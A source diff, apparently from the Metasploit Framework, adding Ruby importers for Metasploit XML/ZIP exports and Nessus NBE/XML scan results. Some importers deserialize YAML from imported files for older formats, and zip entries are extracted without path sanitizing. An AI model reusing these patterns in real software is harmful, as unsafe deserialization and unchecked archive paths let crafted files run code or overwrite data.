workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + doc = rexmlify(data) + metadata = check_msf_xml_version!(doc) + allow_yaml = metadata[:allow_yaml] + btag = metadata[:root_tag] + + doc.elements.each("/#{btag}/hosts/host") do |host| + host_data = {} + host_data[:task] = args[:task] + host_data[:workspace] = wspace + host_data[:host] = nils_for_nulls(host.elements["address"].text.to_s.strip) + if bl.include? host_data[:host] + next + else + yield(:address,host_data[:host]) if block + end + host_data[:mac] = nils_for_nulls(host.elements["mac"].text.to_s.strip) + if host.elements["comm"].text + host_data[:comm] = nils_for_nulls(host.elements["comm"].text.to_s.strip) + end + %W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum| + if host.elements[datum].text + host_data[datum.gsub('-','_')] = nils_for_nulls(host.elements[datum].text.to_s.strip) + end + } + host_address = host_data[:host].dup # Preserve after report_host() deletes + hobj = report_host(host_data) + + host.elements.each("host_details/host_detail") do |hdet| + hdet_data = {} + hdet.elements.each do |det| + next if ["id", "host-id"].include?(det.name) + if det.text + hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_host_details(hobj, hdet_data) + end + + host.elements.each("exploit_attempts/exploit_attempt") do |hdet| + hdet_data = {} + hdet.elements.each do |det| + next if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name) + if det.text + hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_exploit_attempt(hobj, hdet_data) + end + + host.elements.each('services/service') do |service| + service_data = {} + service_data[:task] = args[:task] + service_data[:workspace] = wspace + service_data[:host] = hobj + service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i + service_data[:proto] = nils_for_nulls(service.elements["proto"].text.to_s.strip) + %W{created-at updated-at name state info}.each { |datum| + if service.elements[datum].text + if datum == "info" + service_data["info"] = nils_for_nulls(unserialize_object(service.elements[datum], false)) + else + service_data[datum.gsub("-","_")] = nils_for_nulls(service.elements[datum].text.to_s.strip) + end + end + } + report_service(service_data) + end + + host.elements.each('notes/note') do |note| + note_data = {} + note_data[:workspace] = wspace + note_data[:host] = hobj + note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip) + note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml)) + + if note.elements["critical"].text + note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL" + end + if note.elements["seen"].text + note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL" + end + %W{created-at updated-at}.each { |datum| + if note.elements[datum].text + note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip) + end + } + report_note(note_data) + end + + host.elements.each('tags/tag') do |tag| + tag_data = {} + tag_data[:addr] = host_address + tag_data[:wspace] = wspace + tag_data[:name] = tag.elements["name"].text.to_s.strip + tag_data[:desc] = tag.elements["desc"].text.to_s.strip + if tag.elements["report-summary"].text + tag_data[:summary] = tag.elements["report-summary"].text.to_s.strip + end + if tag.elements["report-detail"].text + tag_data[:detail] = tag.elements["report-detail"].text.to_s.strip + end + if tag.elements["critical"].text + tag_data[:crit] = true unless tag.elements["critical"].text.to_s.strip == "NULL" + end + report_host_tag(tag_data) + end + + host.elements.each('vulns/vuln') do |vuln| + vuln_data = {} + vuln_data[:workspace] = wspace + vuln_data[:host] = hobj + vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.elements["info"], allow_yaml)) + vuln_data[:name] = nils_for_nulls(vuln.elements["name"].text.to_s.strip) + %W{created-at updated-at exploited-at}.each { |datum| + if vuln.elements[datum] and vuln.elements[datum].text + vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.elements[datum].text.to_s.strip) + end + } + if vuln.elements["refs"] + vuln_data[:refs] = [] + vuln.elements.each("refs/ref") do |ref| + vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip) + end + end + + vobj = report_vuln(vuln_data) + + vuln.elements.each("vuln_details/vuln_detail") do |vdet| + vdet_data = {} + vdet.elements.each do |det| + next if ["id", "vuln-id"].include?(det.name) + if det.text + vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_vuln_details(vobj, vdet_data) + end + + vuln.elements.each("vuln_attempts/vuln_attempt") do |vdet| + vdet_data = {} + vdet.elements.each do |det| + next if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name) + if det.text + vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_vuln_attempt(vobj, vdet_data) + end + end + + ## Handle old-style (pre 4.10) XML files + if btag == "MetasploitV4" + if host.elements['creds'].present? + unless host.elements['creds'].elements.empty? + origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}") + + host.elements.each('creds/cred') do |cred| + username = cred.elements['user'].try(:text) + proto = cred.elements['proto'].try(:text) + sname = cred.elements['sname'].try(:text) + port = cred.elements['port'].try(:text) + + # Handle blanks by resetting to sane default values + proto = "tcp" if proto.blank? + pass = cred.elements['pass'].try(:text) + pass = "" if pass == "*MASKED*" + + private = create_credential_private(private_data: pass, private_type: :password) + public = create_credential_public(username: username) + core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id) + + create_credential_login(core: core, + workspace_id: wspace.id, + address: hobj.address, + port: port, + protocol: proto, + service_name: sname, + status: Metasploit::Model::Login::Status::UNTRIED) + end + end + end + end + + + host.elements.each('sessions/session') do |sess| + sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i) + sess_data = {} + sess_data[:host] = hobj + %W{desc platform port stype}.each {|datum| + if sess.elements[datum].respond_to? :text + sess_data[datum.intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip) + end + } + %W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum| + if sess.elements[datum].respond_to? :text + sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip) + end + } + sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.elements["datastore"], allow_yaml)) + if sess.elements["routes"] + sess_data[:routes] = nils_for_nulls(unserialize_object(sess.elements["routes"], allow_yaml)) || [] + end + if not sess_data[:closed_at] # Fake a close if we don't already have one + sess_data[:closed_at] = Time.now.utc + sess_data[:close_reason] = "Imported at #{Time.now.utc}" + end + + existing_session = get_session( + :workspace => sess_data[:host].workspace, + :addr => sess_data[:host].address, + :time => sess_data[:opened_at] + ) + this_session = existing_session || report_session(sess_data) + next if existing_session + sess.elements.each('events/event') do |sess_event| + sess_event_data = {} + sess_event_data[:session] = this_session + %W{created-at etype local-path remote-path}.each {|datum| + if sess_event.elements[datum].respond_to? :text + sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.elements[datum].text.to_s.strip) + end + } + %W{command output}.each {|datum| + if sess_event.elements[datum].respond_to? :text + sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.elements[datum], allow_yaml)) + end + } + report_session_event(sess_event_data) + end + end + end + + + # Import web sites + doc.elements.each("/#{btag}/web_sites/web_site") do |web| + info = {} + info[:workspace] = wspace + + %W{host port vhost ssl comments}.each do |datum| + if web.elements[datum].respond_to? :text + info[datum.intern] = nils_for_nulls(web.elements[datum].text.to_s.strip) + end + end + + info[:options] = nils_for_nulls(unserialize_object(web.elements["options"], allow_yaml)) if web.elements["options"].respond_to?(:text) + info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false + + %W{created-at updated-at}.each { |datum| + if web.elements[datum].text + info[datum.gsub("-","_")] = nils_for_nulls(web.elements[datum].text.to_s.strip) + end + } + + report_web_site(info) + yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block + end + + %W{page form vuln}.each do |wtype| + doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element| + send( + "import_msf_web_#{wtype}_element", + element, + :allow_yaml => allow_yaml, + :workspace => wspace, + &block + ) + end + end + end + + private + + # Checks if the XML document has a format version that the importer + # understands. + # + # @param document [REXML::Document] a REXML::Document produced by + # {Msf::DBManager#rexmlify}. + # @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format + # requires YAML loading when calling + # {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the + # root element for MSF XML. + # @raise [Msf::DBImportError] if unsupported format + def check_msf_xml_version!(document) + metadata = { + # FIXME https://www.pivotaltracker.com/story/show/47128407 + :allow_yaml => false, + :root_tag => nil + } + + if document.elements['MetasploitExpressV1'] + # FIXME https://www.pivotaltracker.com/story/show/47128407 + metadata[:allow_yaml] = true + metadata[:root_tag] = 'MetasploitExpressV1' + elsif document.elements['MetasploitExpressV2'] + # FIXME https://www.pivotaltracker.com/story/show/47128407 + metadata[:allow_yaml] = true + metadata[:root_tag] = 'MetasploitExpressV2' + elsif document.elements['MetasploitExpressV3'] + metadata[:root_tag] = 'MetasploitExpressV3' + elsif document.elements['MetasploitExpressV4'] + metadata[:root_tag] = 'MetasploitExpressV4' + elsif document.elements['MetasploitV4'] + metadata[:root_tag] = 'MetasploitV4' + elsif document.elements['MetasploitV5'] + metadata[:root_tag] = 'MetasploitV5' + end + + unless metadata[:root_tag] + raise Msf::DBImportError, + 'Unsupported Metasploit XML document format' + end + + metadata + end + + # Retrieves text of element if it exists. + # + # @param parent_element [REXML::Element] element under which element with + # `child_name` exists. + # @param child_name [String] the name of the element under + # `parent_element` whose text should be returned + # @return [{}] if element with child_name does not exist or does not have + # text. + # @return [Hash{Symbol => String}] Maps child_name symbol to text. Text is + # stripped and any NULLs are converted to `nil`. + # @return [nil] if element with `child_name` does not exist under + # `parent_element`. + def import_msf_text_element(parent_element, child_name) + child_element = parent_element.elements[child_name] + info = {} + + if child_element + stripped = child_element.text.to_s.strip + attribute_name = child_name.underscore.to_sym + info[attribute_name] = nils_for_nulls(stripped) + end + + info + end + + # Imports web_form, web_page, or web_vuln element using + # {Msf::DBManager#report_web_form}, {Msf::DBManager#report_web_page}, and + # {Msf::DBManager#report_web_vuln}, respectively. + # + # @param element [REXML::Element] the web_form, web_page, or web_vuln + # element. + # @param options [Hash{Symbol => Object}] options + # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when + # deserializing elements. + # @option options [Proc] :notifier Block called with web_* event and path + # @option options [Symbol] :type the type of web element, such as :form, + # :page, or :vuln. Must correspond to a report_web_<type> method on + # {Msf::DBManager}. + # @option options [Mdm::Workspace, nil] :workspace + # (Msf::DBManager#workspace) workspace under which to report the + # imported record. + # @yield [element, options] + # @yieldparam element [REXML::Element] the web_form, web_page, or + # web_vuln element passed to {#import_msf_web_element}. + # @yieldparam options [Hash{Symbol => Object}] options for parsing + # @yieldreturn [Hash{Symbol => Object}] info + # @return [void] + # @raise [KeyError] if `:type` is not given + def import_msf_web_element(element, options={}, &specialization) + options.assert_valid_keys(:allow_yaml, :notifier, :type, :workspace) + type = options.fetch(:type) + + info = {} + info[:workspace] = options[:workspace] || self.workspace + + MSF_WEB_TEXT_ELEMENT_NAMES.each do |name| + element_info = import_msf_text_element(element, name) + info.merge!(element_info) + end + + info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false + + specialized_info = specialization.call(element, options) + info.merge!(specialized_info) + + self.send("report_web_#{type}", info) + + notifier = options[:notifier] + + if notifier + event = "web_#{type}".to_sym + notifier.call(event, info[:path]) + end + end +end diff --git a/lib/msf/core/db_manager/import/metasploit_framework/zip.rb b/lib/msf/core/db_manager/import/metasploit_framework/zip.rb new file mode 100644 index 0000000000..7a4947193c --- /dev/null +++ b/lib/msf/core/db_manager/import/metasploit_framework/zip.rb @@ -0,0 +1,228 @@ +module Msf::DBManager::Import::MetasploitFramework::Zip + # Imports loot, tasks, and reports from an MSF ZIP report. + # XXX: This function is stupidly long. It needs to be refactored. + def import_msf_collateral(args={}, &block) + data = ::File.open(args[:filename], "rb") {|f| f.read(f.stat.size)} + wspace = args[:wspace] || args['wspace'] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + basedir = args[:basedir] || args['basedir'] || ::File.join(Msf::Config.data_directory, "msf") + + allow_yaml = false + btag = nil + + doc = rexmlify(data) + if doc.elements["MetasploitExpressV1"] + m_ver = 1 + allow_yaml = true + btag = "MetasploitExpressV1" + elsif doc.elements["MetasploitExpressV2"] + m_ver = 2 + allow_yaml = true + btag = "MetasploitExpressV2" + elsif doc.elements["MetasploitExpressV3"] + m_ver = 3 + btag = "MetasploitExpressV3" + elsif doc.elements["MetasploitExpressV4"] + m_ver = 4 + btag = "MetasploitExpressV4" + elsif doc.elements["MetasploitV4"] + m_ver = 4 + btag = "MetasploitV4" + else + m_ver = nil + end + unless m_ver and btag + raise Msf::DBImportError.new("Unsupported Metasploit XML document format") + end + + host_info = {} + doc.elements.each("/#{btag}/hosts/host") do |host| + host_info[host.elements["id"].text.to_s.strip] = nils_for_nulls(host.elements["address"].text.to_s.strip) + end + + # Import Loot + doc.elements.each("/#{btag}/loots/loot") do |loot| + next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip] + loot_info = {} + loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip] + loot_info[:workspace] = args[:wspace] + loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip) + loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml)) + loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip) + loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip) + loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip) + loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip) + loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip) + loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip) + loot_info[:task] = args[:task] + tmp = args[:ifd][:zip_tmp] + loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path] + if !loot.elements["service-id"].text.to_s.strip.empty? + unless loot.elements["service-id"].text.to_s.strip == "NULL" + loot_info[:service] = loot.elements["service-id"].text.to_s.strip + end + end + + # Only report loot if we actually have it. + # TODO: Copypasta. Seperate this out. + if ::File.exists? loot_info[:orig_path] + loot_dir = ::File.join(basedir,"loot") + loot_file = ::File.split(loot_info[:orig_path]).last + if ::File.exists? loot_dir + unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir)) + raise Msf::DBImportError.new("Could not move files to #{loot_dir}") + end + else + ::FileUtils.mkdir_p(loot_dir) + end + new_loot = ::File.join(loot_dir,loot_file) + loot_info[:path] = new_loot + if ::File.exists?(new_loot) + ::File.unlink new_loot # Delete it, and don't report it. + else + report_loot(loot_info) # It's new, so report it. + end + ::FileUtils.copy(loot_info[:orig_path], new_loot) + yield(:msf_loot, new_loot) if block + end + end + + # Import Tasks + doc.elements.each("/#{btag}/tasks/task") do |task| + task_info = {} + task_info[:workspace] = args[:wspace] + # Should user be imported (original) or declared (the importing user)? + task_info[:user] = nils_for_nulls(task.elements["created-by"].text.to_s.strip) + task_info[:desc] = nils_for_nulls(task.elements["description"].text.to_s.strip) + task_info[:info] = nils_for_nulls(unserialize_object(task.elements["info"], allow_yaml)) + task_info[:mod] = nils_for_nulls(task.elements["module"].text.to_s.strip) + task_info[:options] = nils_for_nulls(task.elements["options"].text.to_s.strip) + task_info[:prog] = nils_for_nulls(task.elements["progress"].text.to_s.strip).to_i + task_info[:created_at] = nils_for_nulls(task.elements["created-at"].text.to_s.strip) + task_info[:updated_at] = nils_for_nulls(task.elements["updated-at"].text.to_s.strip) + if !task.elements["completed-at"].text.to_s.empty? + task_info[:completed_at] = nils_for_nulls(task.elements["completed-at"].text.to_s.strip) + end + if !task.elements["error"].text.to_s.empty? + task_info[:error] = nils_for_nulls(task.elements["error"].text.to_s.strip) + end + if !task.elements["result"].text.to_s.empty? + task_info[:result] = nils_for_nulls(task.elements["result"].text.to_s.strip) + end + task_info[:orig_path] = nils_for_nulls(task.elements["path"].text.to_s.strip) + tmp = args[:ifd][:zip_tmp] + task_info[:orig_path].gsub!(/^\./,tmp) if task_info[:orig_path] + + # Only report a task if we actually have it. + # TODO: Copypasta. Seperate this out. + if ::File.exists? task_info[:orig_path] + tasks_dir = ::File.join(basedir,"tasks") + task_file = ::File.split(task_info[:orig_path]).last + if ::File.exists? tasks_dir + unless (::File.directory?(tasks_dir) && ::File.writable?(tasks_dir)) + raise Msf::DBImportError.new("Could not move files to #{tasks_dir}") + end + else + ::FileUtils.mkdir_p(tasks_dir) + end + new_task = ::File.join(tasks_dir,task_file) + task_info[:path] = new_task + if ::File.exists?(new_task) + ::File.unlink new_task # Delete it, and don't report it. + else + report_task(task_info) # It's new, so report it. + end + ::FileUtils.copy(task_info[:orig_path], new_task) + yield(:msf_task, new_task) if block + end + end + + # Import Reports + doc.elements.each("/#{btag}/reports/report") do |report| + import_report(report, args, basedir) + end + end + + # Import a Metasploit Express ZIP file. Note that this requires + # a fair bit of filesystem manipulation, and is very much tied + # up with the Metasploit Express ZIP file format export (for + # obvious reasons). In the event directories exist, they will + # be reused. If target files exist, they will be overwritten. + # + # XXX: Refactor so it's not quite as sanity-blasting. + def import_msf_zip(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename]) + if ::File.exists? new_tmp + unless (::File.directory?(new_tmp) && ::File.writable?(new_tmp)) + raise Msf::DBImportError.new("Could not extract zip file to #{new_tmp}") + end + else + FileUtils.mkdir_p(new_tmp) + end + @import_filedata[:zip_tmp] = new_tmp + + # Grab the list of unique basedirs over all entries. + @import_filedata[:zip_tmp_subdirs] = @import_filedata[:zip_entry_names].map {|x| ::File.split(x)}.map {|x| x[0]}.uniq.reject {|x| x == "."} + + # mkdir all of the base directores we just pulled out, if they don't + # already exist + @import_filedata[:zip_tmp_subdirs].each {|sub| + tmp_subdirs = ::File.join(@import_filedata[:zip_tmp],sub) + if File.exists? tmp_subdirs + unless (::File.directory?(tmp_subdirs) && File.writable?(tmp_subdirs)) + # if it exists but we can't write to it, give up + raise Msf::DBImportError.new("Could not extract zip file to #{tmp_subdirs}") + end + else + ::FileUtils.mkdir(tmp_subdirs) + end + } + + data.entries.each do |e| + target = ::File.join(@import_filedata[:zip_tmp], e.name) + data.extract(e,target) + + if target =~ /\.xml\z/ + target_data = ::File.open(target, "rb") {|f| f.read 1024} + if import_filetype_detect(target_data) == :msf_xml + @import_filedata[:zip_extracted_xml] = target + end + end + end + + # Import any creds if there are some in the import file + Dir.entries(@import_filedata[:zip_tmp]).each do |entry| + if entry =~ /^.*#{Regexp.quote(Metasploit::Credential::Exporter::Core::CREDS_DUMP_FILE_IDENTIFIER)}.*/ + manifest_file_path = File.join(@import_filedata[:zip_tmp], entry, Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + if File.exists? manifest_file_path + import_msf_cred_dump(manifest_file_path, wspace) + end + end + end + + # This will kick the newly-extracted XML file through + # the import_file process all over again. + if @import_filedata[:zip_extracted_xml] + new_args = args.dup + new_args[:filename] = @import_filedata[:zip_extracted_xml] + new_args[:data] = nil + new_args[:ifd] = @import_filedata.dup + if block + import_file(new_args, &block) + else + import_file(new_args) + end + end + + # Kick down to all the MSFX ZIP specific items + if block + import_msf_collateral(new_args, &block) + else + import_msf_collateral(new_args) + end + end +end diff --git a/lib/msf/core/db_manager/import/nessus.rb b/lib/msf/core/db_manager/import/nessus.rb new file mode 100644 index 0000000000..078438d922 --- /dev/null +++ b/lib/msf/core/db_manager/import/nessus.rb @@ -0,0 +1,81 @@ +module Msf::DBManager::Import::Nessus + autoload :NBE, 'msf/core/db_manager/import/nessus/nbe' + autoload :XML, 'msf/core/db_manager/import/nessus/xml' + + include Msf::DBManager::Import::Nessus::NBE + include Msf::DBManager::Import::Nessus::XML + + protected + + # + # This holds all of the shared parsing/handling used by the + # Nessus NBE and NESSUS v1 methods + # + def handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data,task=nil) + addr = hobj.address + # The port section looks like: + # http (80/tcp) + p = port.match(/^([^\(]+)\((\d+)\/([^\)]+)\)/) + return if not p + + # Unnecessary as the caller should already have reported this host + #report_host(:workspace => wspace, :host => addr, :state => Msf::HostState::Alive) + name = p[1].strip + port = p[2].to_i + proto = p[3].downcase + + info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } + if name != "unknown" and name[-1,1] != "?" + info[:name] = name + end + report_service(info) + + if nasl.nil? || nasl.empty? || nasl == 0 || nasl == "0" + return + end + + data.gsub!("\\n", "\n") + + refs = [] + + if (data =~ /^CVE : (.*)$/) + $1.gsub(/C(VE|AN)\-/, '').split(',').map { |r| r.strip }.each do |r| + refs.push('CVE-' + r) + end + end + + if (data =~ /^BID : (.*)$/) + $1.split(',').map { |r| r.strip }.each do |r| + refs.push('BID-' + r) + end + end + + if (data =~ /^Other references : (.*)$/) + $1.split(',').map { |r| r.strip }.each do |r| + ref_id, ref_val = r.split(':') + ref_val ? refs.push(ref_id + '-' + ref_val) : refs.push(ref_id) + end + end + + nss = 'NSS-' + nasl.to_s.strip + refs << nss + + unless plugin_name.to_s.strip.empty? + vuln_name = plugin_name + else + vuln_name = nss + end + + vuln_info = { + :workspace => wspace, + :host => hobj, + :port => port, + :proto => proto, + :name => vuln_name, + :info => data, + :refs => refs, + :task => task, + } + report_vuln(vuln_info) + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/nessus/nbe.rb b/lib/msf/core/db_manager/import/nessus/nbe.rb new file mode 100644 index 0000000000..d36e79aa27 --- /dev/null +++ b/lib/msf/core/db_manager/import/nessus/nbe.rb @@ -0,0 +1,94 @@ +module Msf::DBManager::Import::Nessus::NBE + # There is no place the NBE actually stores the plugin name used to + # scan. You get "Security Note" or "Security Warning," and that's it. + def import_nessus_nbe(args={}, &block) + nbe_data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + nbe_copy = nbe_data.dup + # First pass, just to build the address map. + addr_map = {} + + # Cache host objects before passing into handle_nessus() + hobj_map = {} + + nbe_copy.each_line do |line| + r = line.split('|') + next if r[0] != 'results' + next if r[4] != "12053" + data = r[6] + addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2] + addr_map[hname] = addr + end + + nbe_data.each_line do |line| + r = line.split('|') + next if r[0] != 'results' + hname = r[2] + if addr_map[hname] + addr = addr_map[hname] + else + addr = hname # Must be unresolved, probably an IP address. + end + port = r[3] + nasl = r[4] + type = r[5] + data = r[6] + + # If there's no resolution, or if it's malformed, skip it. + next unless ipv46_validator(addr) + + if bl.include? addr + next + else + yield(:address,addr) if block + end + + hobj_map[ addr ] ||= report_host(:host => addr, :workspace => wspace, :task => args[:task]) + + # Match the NBE types with the XML severity ratings + case type + # log messages don't actually have any data, they are just + # complaints about not being able to perform this or that test + # because such-and-such was missing + when "Log Message"; next + when "Security Hole"; severity = 3 + when "Security Warning"; severity = 2 + when "Security Note"; severity = 1 + # a severity 0 means there's no extra data, it's just an open port + else; severity = 0 + end + if nasl == "11936" + os = data.match(/The remote host is running (.*)\\n/)[1] + report_note( + :workspace => wspace, + :task => args[:task], + :host => hobj_map[ addr ], + :type => 'host.os.nessus_fingerprint', + :data => { + :os => os.to_s.strip + } + ) + end + + next if nasl.to_s.strip.empty? + plugin_name = nil # NBE doesn't ever populate this + handle_nessus(wspace, hobj_map[ addr ], port, nasl, plugin_name, severity, data) + end + end + + # + # Import Nessus NBE files + # + def import_nessus_nbe_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + import_nessus_nbe(args.merge(:data => data)) + end +end diff --git a/lib/msf/core/db_manager/import/nessus/xml.rb b/lib/msf/core/db_manager/import/nessus/xml.rb new file mode 100644 index 0000000000..e30c7a5e66 --- /dev/null +++ b/lib/msf/core/db_manager/import/nessus/xml.rb @@ -0,0 +1,28 @@ +module Msf::DBManager::Import::Nessus::XML + autoload :V1, 'msf/core/db_manager/import/nessus/xml/v1' + autoload :V2, 'msf/core/db_manager/import/nessus/xml/v2' + + include Msf::DBManager::Import::Nessus::XML::V1 + include Msf::DBManager::Import::Nessus::XML::V2 + + # + # Import Nessus XML v1 and v2 output + # + # Old versions of openvas exported this as well + # + def import_nessus_xml_file(args={}) + filename = args[:filename] + wspace = args[:wspace] || workspace + + data = "" + ::File.open(filename, 'rb') do |f| + data = f.read(f.stat.size) + end + + if data.index("NessusClientData_v2") + import_nessus_xml_v2(args.merge(:data => data)) + else + import_nessus_xml(args.merge(:data => data)) + end + end +end diff --git a/lib/msf/core/db_manager/import/nessus/xml/v1.rb b/lib/msf/core/db_manager/import/nessus/xml/v1.rb new file mode 100644 index 0000000000..b37d9c6bf7 --- /dev/null +++ b/lib/msf/core/db_manager/import/nessus/xml/v1.rb @@ -0,0 +1,65 @@ +module Msf::DBManager::Import::Nessus::XML::V1 + def import_nessus_xml(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + doc = rexmlify(data) + doc.elements.each('/NessusClientData/Report/ReportHost') do |host| + hobj = nil + addr = nil + hname = nil + os = nil + # If the name is resolved, the Nessus plugin for DNS + # resolution should be there. If not, fall back to the + # HostName + host.elements.each('ReportItem') do |item| + next unless item.elements['pluginID'].text == "12053" + addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1] + hname = host.elements['HostName'].text + end + addr ||= host.elements['HostName'].text + next unless ipv46_validator(addr) # Skip resolved names and SCAN-ERROR. + if bl.include? addr + next + else + yield(:address,addr) if block + end + + hinfo = { + :workspace => wspace, + :host => addr, + :task => args[:task] + } + + # Record the hostname + hinfo.merge!(:name => hname.to_s.strip) if hname + hobj = report_host(hinfo) + report_import_note(wspace,hobj) + + # Record the OS + os ||= host.elements["os_name"] + if os + report_note( + :workspace => wspace, + :task => args[:task], + :host => hobj, + :type => 'host.os.nessus_fingerprint', + :data => { + :os => os.text.to_s.strip + } + ) + end + + host.elements.each('ReportItem') do |item| + nasl = item.elements['pluginID'].text + plugin_name = item.elements['pluginName'].text + port = item.elements['port'].text + data = item.elements['data'].text + severity = item.elements['severity'].text + + handle_nessus(wspace, hobj, port, nasl, plugin_name, severity, data, args[:task]) + end + end + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/nessus/xml/v2.rb b/lib/msf/core/db_manager/import/nessus/xml/v2.rb new file mode 100644 index 0000000000..00822d03b7 --- /dev/null +++ b/lib/msf/core/db_manager/import/nessus/xml/v2.rb @@ -0,0 +1,165 @@ +require 'rex/parser/nessus_xml' + +module Msf::DBManager::Import::Nessus::XML::V2 + def import_nessus_xml_v2(args={}, &block) + data = args[:data] + wspace = args[:wspace] || workspace + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + + #@host = { + #'hname' => nil, + #'addr' => nil, + #'mac' => nil, + #'os' => nil, + #'ports' => [ 'port' => { 'port' => nil, + # 'svc_name' => nil, + # 'proto' => nil, + # 'severity' => nil, + # 'nasl' => nil, + # 'description' => nil, + # 'cve' => [], + # 'bid' => [], + # 'xref' => [] + # } + # ] + #} + parser = Rex::Parser::NessusXMLStreamParser.new + parser.on_found_host = Proc.new { |host| + + hobj = nil + addr = host['addr'] || host['hname'] + + next unless ipv46_validator(addr) # Catches SCAN-ERROR, among others. + + if bl.include? addr + next + else + yield(:address,addr) if block + end + + os = host['os'] + hname = host['hname'] + mac = host['mac'] + + host_info = { + :workspace => wspace, + :host => addr, + :task => args[:task] + } + host_info[:name] = hname.to_s.strip if hname + # Short mac, protect against Nessus's habit of saving multiple macs + # We can't use them anyway, so take just the first. + host_info[:mac] = mac.to_s.strip.upcase.split(/\s+/).first if mac + + hobj = report_host(host_info) + report_import_note(wspace,hobj) + + os = host['os'] + yield(:os,os) if block + if os + report_note( + :workspace => wspace, + :task => args[:task], + :host => hobj, + :type => 'host.os.nessus_fingerprint', + :data => { + :os => os.to_s.strip + } + ) + end + + host['ports'].each do |item| + next if item['port'] == 0 + msf = nil + nasl = item['nasl'].to_s + nasl_name = item['nasl_name'].to_s + port = item['port'].to_s + proto = item['proto'] || "tcp" + sname = item['svc_name'] + severity = item['severity'] + description = item['description'] + cve = item['cve'] + bid = item['bid'] + xref = item['xref'] + msf = item['msf'] + + yield(:port,port) if block + + handle_nessus_v2(wspace, hobj, port, proto, sname, nasl, nasl_name, severity, description, cve, bid, xref, msf, args[:task]) + + end + yield(:end,hname) if block + } + + REXML::Document.parse_stream(data, parser) + + end + + protected + + # + # NESSUS v2 file format has a dramatically different layout + # for ReportItem data + # + def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf,task=nil) + addr = hobj.address + + info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task } + + unless name =~ /^unknown$|\?$/ + info[:name] = name + end + + if port.to_i != 0 + report_service(info) + end + + if nasl.nil? || nasl.empty? || nasl == 0 || nasl == "0" + return + end + + refs = [] + + cve.each do |r| + r.to_s.gsub!(/C(VE|AN)\-/, '') + refs.push('CVE-' + r.to_s) + end if cve + + bid.each do |r| + refs.push('BID-' + r.to_s) + end if bid + + xref.each do |r| + ref_id, ref_val = r.to_s.split(':') + ref_val ? refs.push(ref_id + '-' + ref_val) : refs.push(ref_id) + end if xref + + msfref = "MSF-" << msf if msf + refs.push msfref if msfref + + nss = 'NSS-' + nasl + if 